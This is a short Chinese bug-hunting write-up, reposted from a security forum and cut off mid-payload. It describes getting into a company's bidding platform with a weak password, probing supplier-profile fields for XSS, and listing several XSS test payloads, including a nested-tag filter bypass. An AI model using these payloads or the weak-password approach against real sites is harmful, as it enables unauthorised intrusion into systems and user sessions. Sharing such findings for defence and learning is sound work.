转自我的奇安信攻防社区文章:https://forum.butian.net/share/885
免责声明:
渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播**
涉及知识:
xss注入及xss注入绕过
挖掘过程:
某次针对某目标信息搜集无意发现某工程公司的项目招标平台
厚码…求生欲满满呜呜呜
随手一试就是弱口令登陆, 弱口令yyds!!!
发现在供应商资料中存在不少输入点,手痒随手一波xss
分享一波常用测试语句:
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,